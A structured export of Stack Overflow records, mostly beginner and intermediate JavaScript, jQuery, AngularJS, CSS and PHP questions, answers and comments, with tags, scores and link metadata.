has body: from PyQt4.QtCore import * from PyQt4.QtGui import * from PyQt4.QtWebKit import * import sys from time import time, sleep class Browser(QWebView): def __init__(self): super(Browser, self).__init__() self.page().frameCreated.connect(self.print_load_finished) def print_load_finished(self): frame = self.page().mainFrame() document = frame.documentElement() button = document.getElementById("navPromotionBtn") button.evaluateJavaScript("this.click()") #or frame.documentElement().evaluateJavaScript("document.getElementById('navPromotionBtn').click()") if __name__=='__main__': app = QApplication(sys.argv) first = Browser() first.show() first.load(QUrl('https://www.bet-at-home.com/en/sport/today')) sys.exit(app.exec_()) Can someone please tell me why this is not working, when everything is good under console (thats the strangest of all).. When i try it document.getElementById("navPromotionBtn").click() everything is ok.
tagged with: pyqt4
has comment: http://stackoverflow.com/comment/40151788
tagged with: javascript
type: UnansweredQuestion
has title: evaluateJavaScript in PyQt does not redirect me to the next page

http://stackoverflow.com/comment/39981758
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25596242
score: 2
has text: typically the javascript is handled in the view: no need to register like with webforms.

http://stackoverflow.com/q/25603822
tagged with: css
has comment: http://stackoverflow.com/comment/39996187
has title: Can I overlap exactly half of an image with another using CSS?
has answer: http://stackoverflow.com/a/25604125
has answer: http://stackoverflow.com/a/25604096
possible better answer: http://stackoverflow.com/a/25604125
tagged with: javascript
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/html
downvote count: 0
score: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/25604096
has body: I am trying to overlap exactly half an image in CSS using another image. Thing is I want the height of the images to be say (x=200px). The width of the image will wary depending on the aspect ratio of the image. Can I still write CSS that will overlap exactly half of the resized image with another image. Following is a code where I have played around with the position of the overlapping image. Can I let CSS do this for me somehow? Or is there some js that can help? In the following code I want the height to be unchanged, but half of any image used should be overlapped widthwise.
type: Question
answer count: 2
upvote count: 1

http://stackoverflow.com/q/25576458
answer count: 2
has answer: http://stackoverflow.com/a/25578487
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/25584986
has answer: http://stackoverflow.com/a/25584986
possible better answer: http://stackoverflow.com/a/25578487
has title: Calling a function pointer with Emscripten
type: Question
tagged with: emscripten
type: AnsweredQuestion
tagged with: javascript
score: 4
has body: With Emscripten, is it possible to call a function pointer (thus, a number) from JavaScript? The signature of the function is variable, so I can't write a helper and be done. To illustrate an example, I've got a function like this: // Returns a function pointer to call, with the appropiate // arguments, to initialize the demanded feature. void* get_feature_activator(feature_t feat); You're supposed to use it as follows: // Initialize the speaker void* activator = get_feature_activator(FEATURE_SPEAKER); // We know this function needs one float, so we cast and call it ((void(*)(float))activator) (3.0); To do the same with JavaScript: var activator = _get_feature_activator(constants.FEATURE_SPEAKER); // TODO: Need to call this pointer with one float
upvote count: 4

http://stackoverflow.com/q/25594123
tagged with: sticky
tagged with: css
score: 0
type: UnansweredQuestion
tagged with: scrolltop
has answer: http://stackoverflow.com/a/25594191
has body: I have a question, I will make a sticky content. It will works with CSS and ad classes... my Problem is I don't know how to ask 2 if's... $(document).on("scroll",function(){ var fix_work_content = $(".portfolio_work").offset().top -20; var leave_work_content = $(".mainfooter").offset().top -50; if($(document).scrollTop()&gt;fix_work_content){ $(".work_content").addClass("fix_work_content").removeClass("leave_work_content"); } /* if($(document).scrollTop()&gt;leave_work_content){ $(".work_content").addClass("leave_work_content").removeClass("fix_work_content"); } */ else{ $(".work_content").removeClass("fix_work_content, fix_work_content"); } });
type: Question
has title: two if in a JS script
answer count: 1
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/q/25592636
has body: Creating an eCommerce/financial based application with node I am having trouble working out how to have a base figure in a static var var budget = 300; and then have the expenses stored in objects in an array var expenses = [ {name: "thingy1", price: "40"}, {name: "thingy2", price: "30"}, {name: "thingy3", price: "100"} ]; and have the prices deducted from the budget varible and then displayed in the template p.s im using express and swig
has comment: http://stackoverflow.com/comment/39975300
type: Question
tagged with: javascript
tagged with: express
has answer: http://stackoverflow.com/a/25592731
score: 0
tagged with: swig-template
answer count: 1
has title: Performing math operations on arrays of objects javascript
accepted answer: http://stackoverflow.com/a/25592731
tagged with: node.js
type: AnsweredQuestion

http://stackoverflow.com/q/25679247
has answer: http://stackoverflow.com/a/25679303
has title: How to set a login link to unlogged user using else function?
has body: Help me please I'm new for php.... the below code is to show the menus for a logged in user. but when user is not logged in then these are not displayed so i want to display a login link for new use using else function with this script.. But i can;t do this. SO please help me right now <? if (isset($_SESSION['user_id'])) {?> My Account My Account Settings Logout You can add more links here for users <? } ?> Now tell me how i use a login link with this script for a new user.....
tagged with: mysql
has answer: http://stackoverflow.com/a/25679312
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25679335
score: 0
answer count: 3
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/html
tagged with: php
tagged with: css

http://stackoverflow.com/comment/40056681
score: 0
has text: You could always set pointer-events="none" just before you call elementFromPoint and unset it afterwards.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25632584

http://stackoverflow.com/q/25704151
type: UnansweredQuestion
upvote count: 1
has comment: http://stackoverflow.com/comment/40178875
has title: Chrome Extension script console is not working
answer count: 0
has comment: http://stackoverflow.com/comment/40389630
has comment: http://stackoverflow.com/comment/40179623
has body: Simply I have this script that get current window opened tabs , Actually the code is so simple: chrome.windows.getCurrent(function(win) { chrome.tabs.getAllInWindow(win.id, function(tabs) { // Should output an array of tab objects to your dev console. console.log(tabs); }); }); when using alert() instead of console.log() , it works well and alerts tabs as objects , but when using console.log() , nothing shows up , not even error. the script is launched when i click the extension button.
downvote count: 1
has comment: http://stackoverflow.com/comment/40178535
type: Question
has comment: http://stackoverflow.com/comment/40178758
tagged with: javascript
has comment: http://stackoverflow.com/comment/40178310
has comment: http://stackoverflow.com/comment/40178684
score: 0
tagged with: google-chrome-extension
favorite count: 0

http://stackoverflow.com/q/25666311
has comment: http://stackoverflow.com/comment/40110711
has body: Thank you all guys. I will now select one detailed answer and close this up. see the code below, it's fairly straight forward Here is the directive define return { restrict: 'E', replace: true, transclude: true, scope: { value: '=' }, controller: function($scope) { $scope.input = {show: false, value: $scope.value}; }, templateUrl: "td.html" } Why this produce error? but when change the scope set back to '@', it works again.
downvote count: 1
type: Question
tagged with: angularjs-directive
possible better answer: http://stackoverflow.com/a/25666802
has title: Angular two way data binding not working
has comment: http://stackoverflow.com/comment/40108959
score: 1
accepted answer: http://stackoverflow.com/a/25666527
tagged with: angularjs-scope
answer count: 3
has comment: http://stackoverflow.com/comment/40109448
tagged with: javascript
favorite count: 0
tagged with: angularjs
has comment: http://stackoverflow.com/comment/40110646
has comment: http://stackoverflow.com/comment/40110427
has answer: http://stackoverflow.com/a/25666527
has answer: http://stackoverflow.com/a/25666625
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/25666802
upvote count: 2

http://stackoverflow.com/q/25643705
has body: what is the best way to save a small(&lt;16Mb) image file in my mongodb document and how can i achieve that and then how can i get that file and render it to the browser? Can you please point me to some working example? Thank's in advance
type: UnansweredQuestion
answer count: 0
has comment: http://stackoverflow.com/comment/40115282
has comment: http://stackoverflow.com/comment/40068878
type: Question
tagged with: javascript
has title: How can I stream file to Mongodb
score: 0
has comment: http://stackoverflow.com/comment/40094178

http://stackoverflow.com/a/25715532
type: AcceptedAnswer
has body: Do what @rscohn2 suggests (make that "king" script is local to your project, avoid loading it over the network if at all possible), but also take a look at this "beefier" template which I've provided to people who are trying to turn a web app into a webview app. There are lots of comments and console.log messages to help you figure out what's going on, but, in essence: wait for the custom "app.Ready" event to kick off your app consider when you are loading your third-party and custom JS scripts (see the README)
score: 0
type: Answer
has comment: http://stackoverflow.com/comment/40227037
accepted answer of: http://stackoverflow.com/q/25700862
answers question: http://stackoverflow.com/q/25700862

http://stackoverflow.com/q/25696640
has body: I am using a set of buttons to replace the src of an iframe embed, and I'd like to set the class for the selected button as 'current-vid'. I have been able to call the JavaScript function t replace the src successfully: by using the following onclick: Video #1 Video #2 Video #3 Problem >> How can get the onclick event in the button to ALSO include the following? It doesn't work in its current form. I'm using Wordpress if that is of relevance.
answer count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25696785
tagged with: wordpress
has title: How can I remove this 'click' dependency and just get the function to happen?
type: Question
tagged with: javascript
tagged with: jquery
score: 0

http://stackoverflow.com/comment/39988961
comment on: http://stackoverflow.com/q/25600130
score: 0
type: Comment
type: QuestionComment
has text: you need to use `onclick="voteUp.call(this, ' . $postid . ')"`

http://stackoverflow.com/q/25702964
type: AnsweredQuestion
has body: The following code produces a timer that displays the current time not right after the fadein. So it looks bad. How to repeatedly display the current time right after fadein? Exercise
type: Question
accepted answer: http://stackoverflow.com/a/25703104
tagged with: javascript
tagged with: jquery
has title: How to repeatedly display the current time right after fadein?
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25703104

http://stackoverflow.com/comment/40103493
type: Comment
type: QuestionComment
has text: Can you show an example? That queryChangd function only fires on form submit and not page change. How would I target that $scope.query globally?
comment on: http://stackoverflow.com/q/25662695
score: 0

http://stackoverflow.com/comment/40014577
type: QuestionComment
comment on: http://stackoverflow.com/q/25613330
has text: No need to appologise for my error…
score: 0
type: Comment

http://stackoverflow.com/q/25621660
has title: Tablesorter: can not click pulldown in header
upvote count: 1
type: Question
score: 1
has answer: http://stackoverflow.com/a/25637454
has body: In the head I have a static pulldown than when changed reloads the page with the data in the column selected in the pulldown. If I turn on tablesorter, clicking sorts the table but renders the pulldown inaccessible. I have done the ccs to show the arrows, so I can click next to the pulldown to sort. So what I want to achieve is: Clicking next to the pulldown in the head tag should sort the table. Clicking the pulldown enables the pulldown (and does the reload). PS jquery version 1.7.1 (can't update!) The basic code: Kolommen: ... ... ... which is not working. Based on the suggesting below I now am a step closer as now it stops sorting when clicking on the pulldown, but it is still not opening it.
tagged with: jquery-plugins
answer count: 2
downvote count: 0
tagged with: javascript
tagged with: jquery
favorite count: 0
accepted answer: http://stackoverflow.com/a/25637454
possible better answer: http://stackoverflow.com/a/25642078
has answer: http://stackoverflow.com/a/25642078
type: AnsweredQuestion
tagged with: tablesorter

http://stackoverflow.com/comment/39967621
type: QuestionComment
type: Comment
has text: Could you show what you have tried.?
comment on: http://stackoverflow.com/q/25573768
score: 0

http://stackoverflow.com/comment/40123991
score: 0
type: Comment
type: QuestionComment
has text: That doesn't matter. This is an API provided by wmata. That means by default cross-origin requests would be allowed by the servers at wmata.
comment on: http://stackoverflow.com/q/25674437

http://stackoverflow.com/comment/39994662
comment on: http://stackoverflow.com/q/25602651
type: Comment
has text: You'd just have to add one query to your class? `SELECT * FROM my_table GROUP BY MONTH(created)` or something of the like?
type: QuestionComment
score: 0

http://stackoverflow.com/q/25661786
tagged with: angularjs
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25663097
type: Question
has title: Using ngSanitize want to add jQuery onClick() with Angular data binding code
tagged with: javascript
tagged with: jquery
has body: I have created some search functionality with Angular js. showing the HTML content using ngSanitize. Now in the HTML data I want to use jQuery onClick(). I tried a lot but no luck something is wrong: Below is the Angular controls' code: var myApp = angular.module('myApp', ['ngSanitize']); myApp.factory('Items', ['$http', function($http){ return { get: function(callback){ $http.get('assets/script/items.json').success(function(data){ callback(data); }) } } }]); myApp.factory('Categories', ['$http', function($http){ return { get: function(callback){ $http.get('assets/script/categories.json').success(function(data){ callback(data); }) } } }]); // Config and Routes myApp.config(function($routeProvider){ $routeProvider .when('/', { templateUrl:"home.html" }) .when('/item/:id', { templateUrl:"item.html" }) }) myApp.controller('headerController', function($scope, $location) { $scope.goHome = function () { $location.path('/'); }; }) function controller($scope) { $scope.greeting = 'hello'; } // Controllers myApp.controller('ItemController', function($scope, $route, $location, $http, Items){ Items.get(function(response){ $scope.items = response; }); // Update this value dynamically - onclick $scope.filters = "food"; $scope.viewDetail = function(item) { $location.path('/item/' + item.id); } }) myApp.controller('ListController', function($scope, $route, $location, $http, Categories){ $scope.sendCategory = function(category) { // How can I pass this value to ItemController? $scope.search =category.name; }; $scope.orderProp='title'; $scope.tab = function (tabIndex) { //Sort by date if (tabIndex == 1){ //alert(tabIndex); $scope.orderProp='date'; } //Sort by views if (tabIndex == 2){ $scope.orderProp = 'views'; } }; $scope.sort = function(item) { if ( $scope.orderProp == 'date') { return new Date(item.date); } return item[$scope.orderProp]; } }) myApp.controller('CategoryController', function($scope, $route, $location, $http, Categories){ Categories.get(function(response){ $scope.ca…
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/25661887

http://stackoverflow.com/q/25581591
has comment: http://stackoverflow.com/comment/39955157
accepted answer: http://stackoverflow.com/a/25585236
tagged with: javascript
has comment: http://stackoverflow.com/comment/39959448
has comment: http://stackoverflow.com/comment/39955133
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/25585236
tagged with: php
has body: In my database I have table Person (id, name, last_name, phone_number). I do something like this: $queryPerson = mysqli_query($con, 'SELECT * FROM Person'); while ($person = mysqli_fetch_array($queryPerson)) { echo '&lt;option value="'.$person["id"].'"&gt;'.$person["name"].' '.$person["last_name"].'&lt;/option&gt;'; } I want to use javascipt function to copy selected value from the select to textboxes: function copyPerson(data) { document.getElementById["name"].value = data.value; } ...but instead of their id I want their names and last names and phone numbers to be displayed in textboxes. Now I came up with this idea to read the value from an option, send query to DB SELECT * FROM Person WHERE id = ID_FROM_SELECT and then recieve the data I want to recieve. I'm not sure if it's a good idea though. In before: yes, I need to have $person["id"] as a value of an option. My question is: sending the query to DB is a good idea - if yes, how can I send a value from javascript to MySQL, if no - what is a better solution? EDIT: Apart from @Thanos Tourikas answer, I found this link to be helpful: http://www.w3schools.com/php/php_ajax_database.asp
type: AnsweredQuestion
has title: JavaScript retrieve data from DB
tagged with: mysql
type: Question

http://stackoverflow.com/comment/39957831
score: 0
comment on: http://stackoverflow.com/a/25582642
has text: I am sorry. I meant that I want to remove 20 % of the elements randomly.
type: AnswerComment
type: Comment

http://stackoverflow.com/comment/48066754
type: AnswerComment
has text: Thanks for using reduce, it's a good demonstration that you can easily change the calculation of whatever values you're looking at, without having to change too much code (and you get to do it in isolation). I also dig the chaining, well done!
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25564087

http://stackoverflow.com/comment/39932860
score: 0
comment on: http://stackoverflow.com/a/25569774
type: AnswerComment
type: Comment
has text: Tried adding that but what exactly is it supposed to do? What code do i need for function before_submit() ?

http://stackoverflow.com/comment/39930847
comment on: http://stackoverflow.com/a/25565755
type: AnswerComment
has text: Should you reject with active transaction when db opening request fail? Consumer of opening request will do the upgrade using the active transaction and will resolve with database eventually.
score: 0
type: Comment

http://stackoverflow.com/a/25674887
has body: $(window).load(function() { function assignFavStar(){ $('.commonClassUsedforEachStar').each(function(index){ //get localStorage item for each if ( favResult === true ) {//do this first $('.commonClassUsedforEachStar').addClass( 'icon-star' ); } else { $('.commonClassUsedforEachStar').addClass( 'icon-star-empty' ); } }); } } Try if you can do something like this, not bulletproof but can start you off on this. if (window.localStorage) { var didTheyFave = $('.icon-star-empty').click(function() { if($(this).hasClass('icon-star')) { $( this ).addClass( 'icon-star-empty' ); $( this ).removeClass( 'icon-star' ); var fav = false; } else { $( this ).addClass( 'icon-star' ); $( this ).removeClass( 'icon-star-empty' ); var fav = true; } localStorage.setItem('didTheyFave', fav); }); } localStorage.setItem('didTheyFave', fav); this line is always setting to true/ false and overwritting the previous value. You need to check which is set as true and which is set as false. You can try using the index while setting it, for example, when the user clicks on a star get the location of that, take that location and add it to didTheyFave, so now your key which you are saving in the localStorage would look like didTheyFave1 or didTheyFave2 and so on, and you can loop over these and set the true/false values while retrieving.
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25674810
has comment: http://stackoverflow.com/comment/40124993

http://stackoverflow.com/comment/39975326
comment on: http://stackoverflow.com/a/25588566
type: Comment
score: 0
type: AnswerComment
has text: And where is anchor link?

http://stackoverflow.com/q/25710445
type: Question
tagged with: angularjs
answer count: 1
tagged with: fullscreen
has body: Is there a way to find out when a user clicks on the Toggle Full Screen button and then clicks Deny in the browser popup? (Or listen to the event when the browser forcefully sends back my app to window mode from full screen?) Currently when I click Deny in the browser pop-up after setting the app to Full Screen, it gets sent back to window mode, but the app variables/classes stay set to FullScreen mode, until I manually click the button again. My current code to toggle fullscreen is: if ($scope.fullScreen === true &amp;&amp; !document.fullscreenElement &amp;&amp; !document.mozFullScreenElement &amp;&amp; !document.webkitFullscreenElement) { if (document.documentElement.requestFullscreen) { document.documentElement.requestFullscreen(); } else if (document.documentElement.mozRequestFullScreen) { document.documentElement.mozRequestFullScreen(); } else if (document.documentElement.webkitRequestFullscreen) { document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT); } } else { if (document.cancelFullScreen) { document.cancelFullScreen(); } else if (document.mozCancelFullScreen) { document.mozCancelFullScreen(); } else if (document.webkitCancelFullScreen) { document.webkitCancelFullScreen(); } }
has title: Catching when a user denies a full-screen toggle in AngularJS
score: 0
has answer: http://stackoverflow.com/a/25711572
tagged with: javascript
type: UnansweredQuestion

http://stackoverflow.com/comment/39981886
comment on: http://stackoverflow.com/a/25596293
score: 0
type: AnswerComment
type: Comment
has text: @mason: Then where are you determining this condition? How is the controller involved at all? If the view is changing in response to some server-side state then I can think of no better place to include that logic than in the model.

http://stackoverflow.com/q/25630457
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25630764
has title: breaks, white-spacing? how to break an extralong word without losing text-align:justify
tagged with: css
type: AnsweredQuestion
has body: I have the following Question. Is there a Methode to break an extra-long word without losing the text-align:justify ? like breaking it in the middle or divide it in the middle in 2 words here is the example at JSFiddle You can use Js or jquery as well if there is a better method :) thank you, Tim4497
accepted answer: http://stackoverflow.com/a/25630764
type: Question
answer count: 2
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40049644
possible better answer: http://stackoverflow.com/a/25630535
score: 0
has answer: http://stackoverflow.com/a/25630535

http://stackoverflow.com/comment/40151779
has text: Right i used the "Network" tab and when the error pops up the "api.trello/1/cards" is claiming to have cancelled, however when click 'ok' on the error it continues and there's no issues.. As i said it still creates the card but it still gives the error.
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25666545

http://stackoverflow.com/comment/40124058
comment on: http://stackoverflow.com/q/25674031
score: 0
type: Comment
type: QuestionComment
has text: Thanks everybody. However I have another question: `gameDataFactory.sportEvents.getAll().then(function(data){ console.log(data.data.sportEvents); $scope.sportEvents = data.data.sportEvents; });` I can reach the sportEvents in this way in the controller, but why? Because in my factory I try to modify the return in the success to data.data.sportEvent, I got another error.

http://stackoverflow.com/comment/40163689
score: 0
type: Comment
type: AnswerComment
has text: `self.States = ko.observable(ko.observableArray([]));` is not a good method, the outer observable is not going to behave like an array, and will require double unwrapping. Use an observable array as the property. `selfStates = ko.observableArray([])`.
comment on: http://stackoverflow.com/a/25695131

http://stackoverflow.com/comment/40016266
comment on: http://stackoverflow.com/q/25615061
has text: from button click events and others... I want it like that way, I am just having problem how to pass a parameter.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/39987632
type: QuestionComment
comment on: http://stackoverflow.com/q/25599402
score: 0
has text: @Teemu put it in a question and I'll select best answer
type: Comment

http://stackoverflow.com/comment/40147917
type: Comment
has text: What I am doing is just passing the row values to the URL. This URL will use the values and handle the update. When the update is done, it will respond back to my code to say OK, then I will then refresh the tables so the new updates appears. All its doing is changing DB value from 0 to 1 to confirm the alert had been acknowledged
type: AnswerComment
comment on: http://stackoverflow.com/a/25687657
score: 0

http://stackoverflow.com/q/25662678
has comment: http://stackoverflow.com/comment/40102917
tagged with: node.js
tagged with: bluebird
has comment: http://stackoverflow.com/comment/40102975
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/40102707
tagged with: javascript
score: 0
has comment: http://stackoverflow.com/comment/40102940
has comment: http://stackoverflow.com/comment/40103719
tagged with: promise
has answer: http://stackoverflow.com/a/25664129
has answer: http://stackoverflow.com/a/25739590
type: UnansweredQuestion
has title: Possibly unhandled Error when returning promise inside a promise
has body: I have the following code: SuccessfulPromise().then(function() { return rejectedPromise(); }).catch(function(err) { console.log(err); }); Is it intentional that i get the above error message or is it an error? The error gets handled in the catch block and although this i get the error message Possibly unhandled Error.

http://stackoverflow.com/comment/40136204
score: 1
has text: is your directive running with an 'isolated' scope by any chance?
comment on: http://stackoverflow.com/q/25681296
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39901557
comment on: http://stackoverflow.com/q/25553160
score: 0
has text: @cookie monster: You are right. I phrased it wrong.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25612355
upvote count: 1
answers question: http://stackoverflow.com/q/25612292
downvote count: 0
score: 1
has body: If you want to pass a string then you should do like this: addData(\""+abc+"\") If you want to pass a variable just addData(abc) should be fine. With numbers, it works because you have no variable named "abc" so it's ok. I suggest you to do like this: Link
type: Answer

http://stackoverflow.com/a/25709592
has body: Always try to use preventDefault when using function event with link: $('#menu a').click(function (e) { e.preventDefault(); menu_move(); });
has comment: http://stackoverflow.com/comment/40188112
score: 0
type: Answer
answers question: http://stackoverflow.com/q/25709557

http://stackoverflow.com/a/25605496
answers question: http://stackoverflow.com/q/25605172
type: Answer
has comment: http://stackoverflow.com/comment/39999100
upvote count: 1
downvote count: 1
has body: Try this: var $link = $("", { "id" : "elementID", // "class" : "elementClass", // "href" : "http:...", // "html" : "Text", // text "text" : "Hello World" + " !", // Hello world - this will replace previus HTML }); $("body").append($link); This will output: Hello World !
has comment: http://stackoverflow.com/comment/39998996
score: 0

http://stackoverflow.com/q/25675445
has answer: http://stackoverflow.com/a/25675518
type: Question
has body: I am working on a website based on angular js. Currently, I have written about 5000 line code in angular js. So I have to make some changes without touching my angular js. I want something like this: $(document).on('click','#buttonid',function(){ //performing some necessary task then call ng-click method ngclickmethod(); }); HTML Code: &lt;a ng-click="ngclickmethod()" id="buttonid"&gt; Please advise how can I achieve that. Many Thanks
has comment: http://stackoverflow.com/comment/40129910
answer count: 1
has comment: http://stackoverflow.com/comment/40126066
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40126367
favorite count: 0
upvote count: 3
has comment: http://stackoverflow.com/comment/40126038
has comment: http://stackoverflow.com/comment/40125975
has title: ng-click Vs click event
has comment: http://stackoverflow.com/comment/40125949
has comment: http://stackoverflow.com/comment/40126276
has comment: http://stackoverflow.com/comment/40125932
tagged with: angularjs
accepted answer: http://stackoverflow.com/a/25675518
has comment: http://stackoverflow.com/comment/40125841
type: AnsweredQuestion
score: 3
downvote count: 0

http://stackoverflow.com/comment/40303752
has text: Well in fact texture coordinates can be anywhere provided they define an axis aligned rect in the original texture, so all your problem should be solved :-) I'll update this + the Firefox issue into a proper answer when i have more time.
comment on: http://stackoverflow.com/q/25709306
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/25596056
linked to: http://stackoverflow.com/q/8664486
tagged with: http://stackoverflow.com/tag/html
tagged with: http-redirect
accepted answer: http://stackoverflow.com/a/25596126
has title: JS redirection not working as expected
has comment: http://stackoverflow.com/comment/39981487
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39981645
type: Question
has comment: http://stackoverflow.com/comment/39981419
score: 0
answer count: 1
tagged with: javascript
has answer: http://stackoverflow.com/a/25596126
has comment: http://stackoverflow.com/comment/39981491
has body: I have a very basic code where I have two HTML pages, index.html being a basic authentication page and crap.html being the page where I do, well, some crap. Now, I have a form on index.html which has the onsubmit() handler attached to it so that I may check the username and password. If correct, it shows a message and proceeds to redirect the user to crap.html. Now, the issue is that this redirection seems to work fine for wrong credentials but when given the correct credentials, it automatically reloads the index.html page, even when there is no code for redirection in auth.js. Here are the codes: auth.js function passCheck(){ var user = document.getElementById("username").value; var pass = document.getElementById("password").value; var error = document.getElementById("error"); var set_user = "admin"; var set_pass = "admin"; if(user==set_user && pass==set_pass){ error.style.color="green"; error.innerHTML = "AUTHENTICATED CORRECTLY. REDIRECTING NOW."; setTimeout(function(){ window.location.href="../crap.html"; }, 3000); }else{ error.style.color="red"; error.innerHTML = "WRONG CREDENTIALS. REDIRECTING NOW."; setTimeout(function(){ window.location.href="../index.html"; }, 1000); } } index.html Authentication Username Password

http://stackoverflow.com/a/74154999
has body: Following this answer: https://stackoverflow.com/a/48067347/931409, this is what I came up with to generate consistent colors, that don't change with each refresh: const generateColorHue = (colorI: number, totalColors: number) => { const step = 360 / totalColors; const hue = Math.round(colorI * step); return hue; }; // ... datasets: this.platforms.map((platform, i) => { const hue = generateColorHue(i, this.platforms.length); return { label: platform, borderColor: "hsl(" + hue + ", 50%, 40%)", backgroundColor: "hsla(" + hue + ", 50%, 90%, .2)", }; }),
answers question: http://stackoverflow.com/q/25594478
score: 2
downvote count: 0
type: Answer
upvote count: 2

http://stackoverflow.com/comment/107290963
comment on: http://stackoverflow.com/a/25632187
score: 0
has text: @Andreas How could this be altered to allow for single quotes as well.
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25609830
answers question: http://stackoverflow.com/q/25609741
type: Answer
score: 2
upvote count: 2
has body: You need to set !important like below. .k-input { font-weight:bold !important; font-size:26pt !important; }
accepted answer of: http://stackoverflow.com/q/25609741
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/comment/40013991
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25613364
has text: possible duplicate of [Is there a better way to do optional function parameters in Javascript?](http://stackoverflow.com/questions/148901/is-there-a-better-way-to-do-optional-function-parameters-in-javascript)
score: 0

http://stackoverflow.com/q/25680148
type: Question
has answer: http://stackoverflow.com/a/25680568
has title: buble sorting arrays and merge them without built in functions with javascript
score: -1
upvote count: 2
downvote count: 3
accepted answer: http://stackoverflow.com/a/25680568
has body: hello i want to sort two arrays and merge there result in 3rd array and again sort it. without using in built functions SORTING OF NUMBERS
type: AnsweredQuestion
tagged with: function
tagged with: arrays
answer count: 1
tagged with: javascript
favorite count: 0

http://stackoverflow.com/q/25592984
favorite count: 0
has comment: http://stackoverflow.com/comment/39975895
has body: I have simple simple tag in my html: &lt;video id="vid" controls="controls"&gt; &lt;source src="mov_bbb.mp4" type="video/mp4"&gt; &lt;/video&gt; Tried this: $(document).ready(function (){ myVid=document.getElementById("vid"); myVid.onloadedmetadata=function(){ if (myVid.ended == true) { myVid.currentTime = 0; } } }); Any ideas how can I return video to start when it's ended?
type: AnsweredQuestion
upvote count: 1
linked to: http://stackoverflow.com/q/8132890
type: Question
has answer: http://stackoverflow.com/a/25593025
duplicate of: http://stackoverflow.com/q/8132890
tagged with: javascript
tagged with: html5-video
accepted answer: http://stackoverflow.com/a/25593025
has title: Return video to start when it's ended
answer count: 1
downvote count: 0
score: 1
tagged with: jquery

http://stackoverflow.com/q/25613810
favorite count: 0
has comment: http://stackoverflow.com/comment/40013862
tagged with: http://stackoverflow.com/tag/html
has body: I'm trying to build a full page slider. This is what i'm trying to build: I declare this variables in the .js file: var current = 0; // This is the id that is shown var total = $('.post').length; // Total number of divs The main structure of the html // Content // Content When the user clicks on "previous_slide" or "next_slide" button, the jquery calls to the go_slide() function and pass by reference an string depending or the action (go_before or go_after). $("#previous_slide").click( go_slide("go_before") ); $("#next_slide").click( go_slide("go_after") ); function go_slide(action_name) { var prev = current - 1; var next = current +1; if (action_name == "go_before") { $('#'+current).hide(); $('#'+previous).show(): current--; // Updates the value of current slide } else if(action_name == "go_after") { $('#'+current).hide(); $('#'+next).show(): current++; // Updates the value of current slide } } What can i do to run correct the code?? Thanks in advance
has comment: http://stackoverflow.com/comment/40014795
downvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/40014747
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/25614460
has comment: http://stackoverflow.com/comment/40013969
tagged with: javascript
score: -1
has comment: http://stackoverflow.com/comment/40014780
has title: Problems with an slider i'm developing
has answer: http://stackoverflow.com/a/25614460
upvote count: 0
answer count: 1
tagged with: jquery

http://stackoverflow.com/q/25650683
answer count: 1
tagged with: undefined
tagged with: jquery
has title: Undefined item in each loop
has body: The following code has a jquery each statement that goes through a div.faq containing h1,h2 h3,h4. According to my logic (which fails me right now) the code supposed to run through the div select all Header elements and then make the h1/h2 a list item, and h3/h4 a sublist item. For some reason I keep getting a "undefined" element before each sublist starts. //Declare everything var sidebar = ""; var sidebar_header = new Array(); var sidebar_items = new Array(); var i = 0; //Select all elements $(".faq h3,.faq h4,.faq h1,.faq h2").each(function(index, value){ // Add an ID to each element $(this).attr("id", "item-" + index); //If element is h1 or element is h2 if($(this).is("h1") || $(this).is("h2")){ sidebar_header[i] = " " + $(this).text() + ""; i++; //If element is h3 or is h4 }else if($(this).is("h3") || $(this).is("h4")){ sidebar_items[i - 1] += " " + $(this).text() +" "; } }); var total = i; //Loop through all list items and add sub list items for(i=0;i<total;i++){ sidebar += sidebar_header[i] + " " + sidebar_items[i] + " "; } //Append $(".side").append(" " + sidebar + " "); Everything "works" except that my result is: List item 1 - Undefined - Sub List item 1 - Sub List item 2 - Sub List item 3 List item 2 - Undefined - Sub List item 1 - Sub List item 2 I can't tell what's undefined. Everything was declared. I am just adding items to already defined arrays. I ran several console.log on different parts of the code and the issue seems to be here: sidebar_items[i - 1] += " " + $(this).text() +" "; But I can't figure out why. Suggestions are welcomed! UPDATE: Sample link: http://jsfiddle.net/pgw47ecb/
tagged with: each
has comment: http://stackoverflow.com/comment/40081155
type: AnsweredQuestion
tagged with: loops
type: Question
tagged with: javascript
has answer: http://stackoverflow.com/a/25650841
accepted answer: http://stackoverflow.com/a/25650841
has comment: http://stackoverflow.com/comment/40081047
score: 0
has comment: http://stackoverflow.com/comment/40080975

http://stackoverflow.com/q/25593205
has title: How to click on a item in a list and view the item in a new page? AngularJS and Ionic
favorite count: 0
tagged with: angularjs
type: UnansweredQuestion
